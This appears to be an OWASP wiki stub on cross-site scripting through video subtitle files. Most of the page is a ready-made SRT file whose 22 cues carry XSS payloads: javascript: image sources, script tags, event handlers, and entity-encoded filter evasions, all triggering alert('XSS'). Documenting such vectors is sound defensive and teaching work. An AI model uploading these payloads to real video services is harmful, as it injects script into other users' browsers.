Xss in subtitle

Description

It is possible for an attacker to execute JavaScript in a video's subtitle. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.

Examples

the attacker can save the mentioned contents below by the format of srt and upload prepared srt file as a video's subtitles



1
 00:00:37,618 --> 00:00:42,557
 <font color="#ffff00">: '';!--"<XSS>=&{()}</font>

2
 00:00:58,425 --> 00:01:00,704
 <IMG SRC="javascript:alert('XSS');">

3
 00:01:00,705 --> 00:01:01,873
 <IMG SRC=javascript:alert('XSS')>

4
 00:01:02,225 --> 00:01:04,519
 <IMG SRC=javascript:alert('XSS')>

5
 00:01:04,520 --> 00:01:05,547
 <IMG SRC=javascript:alert('XSS')>

6
 00:01:05,864 --> 00:01:08,117
 <IMG SRC=javascript:alert('XSS')>

7
 00:01:08,224 --> 00:01:09,223
 <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

8
 00:01:09,224 --> 00:01:10,434
 <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

9
 00:01:11,384 --> 00:01:12,427
 <IMG SRC=# onmouseover="alert('xxs')">

10
 00:01:15,504 --> 00:01:17,506
 <IMG SRC= onmouseover="alert('xxs')">

11
 00:01:19,743 --> 00:01:20,786
 <IMG onmouseover="alert('xxs')">

12
 00:01:24,183 --> 00:01:25,351
 <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

13
 00:01:40,663 --> 00:01:41,705
 <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

14
 00:01:42,703 --> 00:01:45,742
 <IMG SRC=javascript:alert( 'XSS')>

15
 00:01:45,743 --> 00:01:46,285
 <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097& #0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

16
 00:01:48,503 --> 00:01:49,545
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

17
 00:01:49,582 --> 00:01:51,709
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

18
 00:01:54,822 --> 00:01:58,200
 <IMG SRC="jav ascript:alert('XSS');">

19
 00:02:01,021 --> 00:02:03,691
 <IMG SRC="jav ascript:alert('XSS');">

20
 00:02:04,702 --> 00:02:05,744
 <IMG SRC="jav&#x0D;ascript:alert('XSS');">

21
 00:02:15,700 --> 00:02:18,536
 <IMG SRC="javascript:alert('XSS')"

22
 00:02:18,740 --> 00:02:22,619
 \";alert('XSS');//

Authors and Primary Editors

Mohammad MortazaviZade - [email protected]

Related Attacks

• XSS Attacks
• Category:Injection Attack
• Invoking untrusted mobile code
• Cross Site History Manipulation (XSHM)

Related Vulnerabilities

• Category:Input Validation Vulnerability
• Cross Site Scripting Flaw
• Types of Cross-Site Scripting

Related Controls

• Category:Input Validation
• HTML Entity Encoding
• Output Validation
• Canonicalization

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.